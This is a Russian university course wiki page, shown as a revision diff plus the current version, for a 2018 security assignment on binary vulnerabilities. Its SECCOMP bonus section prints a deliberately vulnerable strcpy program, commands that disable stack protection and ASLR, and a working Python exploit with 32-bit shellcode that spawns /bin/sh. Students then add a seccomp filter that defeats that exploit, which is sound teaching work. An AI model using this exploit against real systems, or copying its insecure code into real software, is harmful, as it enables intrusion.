Безопасность компьютерных систем 2018/Задание 3 — различия между версиями
Gamajun (обсуждение | вклад) |
|||
| Строка 38: | Строка 38: | ||
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru. | Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru. | ||
| + | |||
| + | |||
| + | == Бонусное задание по SECCOMP == | ||
| + | |||
| + | В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать. | ||
| + | |||
| + | Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него). | ||
| + | ==== Программа ==== | ||
| + | #include <string.h> | ||
| + | #include <stdio.h> | ||
| + | int badcpy(char *str) { | ||
| + | register int i asm("esp"); | ||
| + | printf("$esp = %#010x\n", i); | ||
| + | char buffer[100]; | ||
| + | strcpy(buffer, str); | ||
| + | } | ||
| + | void main(int argc, char *argv[]) { | ||
| + | badcpy(argv[1]); | ||
| + | printf("Done!\n"); | ||
| + | } | ||
| + | |||
| + | Собираем без stack-protector и включаем execstack: | ||
| + | |||
| + | gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c | ||
| + | |||
| + | Отключаем ASLR: | ||
| + | |||
| + | echo 0 | sudo tee /proc/sys/kernel/randomize_va_space | ||
| + | |||
| + | ==== Эксплойт (gensploit.py) ==== | ||
| + | |||
| + | #!/usr/bin/python | ||
| + | nopsled = '\x90' * 64 | ||
| + | shellcode = ( | ||
| + | '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' + | ||
| + | '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' + | ||
| + | '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' | ||
| + | ) | ||
| + | padding = 'A' * (112 - 64 - 32) | ||
| + | eip = '\xa0\xda\xff\xff' | ||
| + | print nopsled + shellcode + padding + eip | ||
| + | |||
| + | ==== Задача ==== | ||
| + | Сначала заставьте переполнение работать. | ||
| + | stack нужно передать шеллкод в качестве параметра командной строки. | ||
| + | |||
| + | Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше. | ||
| + | |||
| + | Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80). | ||
| + | |||
| + | После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный). | ||
| + | |||
| + | Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта. | ||
| + | |||
| + | Задание весит '''1''' балл. | ||
| + | |||
| + | Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё '''0.25''' балла. | ||
Версия 14:46, 13 ноября 2018
Содержание
Задание по теме "Бинарные уязвимости"
Задание будет состоять из трёх частей:
Format string
Для выполнения этой части задания Вам необходимо добиться печати строки бинарником "Congratulation! You have successfully solved level 1!" в stdout с помощью эксплуатации уязвимости типа format string. Решением является код эксплойта.
Материалы по теме: [1]
Stack buffer overflow
Для выполнения этой части задания Вам необходимо прочитать содержимое файла "flag_1". Решением является содержимое этого файла и код эксплойта.
Материалы по теме: [2]
Bonus
...
Файлы заданий
Файлы задания можно взять тут: [3]. Само задание развёрнуто на pwn_task.hse.seclab.cs.msu.su:777.
Баллы
Флаги могут иметь разную стоимость. Суммарно все флаги обязательной части будут давать два балла, бонусной - один балл.
Дедлайн
29.11.2018 включительно.
Сдача решений
Решения заданий нужно присылать на почту michail.vms@yandex.ru с темой HSE_TASK, полным ФИО и номером группы.
Поломка заданий
Поломка не исключена, если задание не работает, или вы думаете что что-то работает не так, как должно, пишите мне на почту michail.vms@yandex.ru.
Бонусное задание по SECCOMP
В качестве дополнительного бонусного задания требуется модифицировать уязвимую программу (добавить фильтр seccomp-bpf), чтобы эксплойт перестал работать.
Для начала вам нужно взять следующую простую программу и эксплойт к ней, и добиться успешного исполнения (под gdb и без него).
Программа
#include <string.h>
#include <stdio.h>
int badcpy(char *str) {
register int i asm("esp");
printf("$esp = %#010x\n", i);
char buffer[100];
strcpy(buffer, str);
}
void main(int argc, char *argv[]) {
badcpy(argv[1]);
printf("Done!\n");
}
Собираем без stack-protector и включаем execstack:
gcc -g -fno-stack-protector -z execstack -m32 -o stack stack.c
Отключаем ASLR:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Эксплойт (gensploit.py)
#!/usr/bin/python nopsled = '\x90' * 64 shellcode = ( '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2' + '\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89' + '\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' ) padding = 'A' * (112 - 64 - 32) eip = '\xa0\xda\xff\xff' print nopsled + shellcode + padding + eip
Задача
Сначала заставьте переполнение работать. stack нужно передать шеллкод в качестве параметра командной строки.
Запускать лучше используя абсолютный путь к бинарнику и через env - (env - /home/user/stack `gensploit.py`), и в том числе в gdb (env - gdb --args /home/user/...), так вы добьётесь примерно одинакового stack layout под gdb и без него. Под gdb ещё перед запуском программы надо unset-нуть переменные окружения LINES, COLUMNS, и возможно что-то ещё, что выставляет именно ваш gdb. Подберите под gdb нужное значение для адреса "eip =" в тексте генератора эксплойта - на вашей машине он скорее всего будет не такой, как в примере выше.
Результат успешной эксплуатации - запуск /bin/sh через execve() (в данном случае через int80).
После этого основное задание: модифицировать stack.c таким образом, чтобы был запрещен вызов execve() и разрешены все нужные для работы printf() и нормального завершения через exit(). Делаем это с помощью SECCOMP BPF фильтра. Внимательнее с arch (проверяйте arch в политике), т.к. в примере всё собираем с -m32 (приведенный выше шеллкод - 32битный).
Результат присылать в виде модифицированного исходника (на почту gamajun at seclab/cs/msu/su с темой HSE:SECCOMP), к нему приложить текстовый файл с логами успешной эксплуатации без seccomp, успешной работы с seccomp но без эксплойта, и неуспешной работы эксплойта.
Задание весит 1 балл.
Дополнительно сделать проверку в фильтре, чтобы был разрешен execve() для /bin/ls, но запрещен для всего остального - ещё 0.25 балла.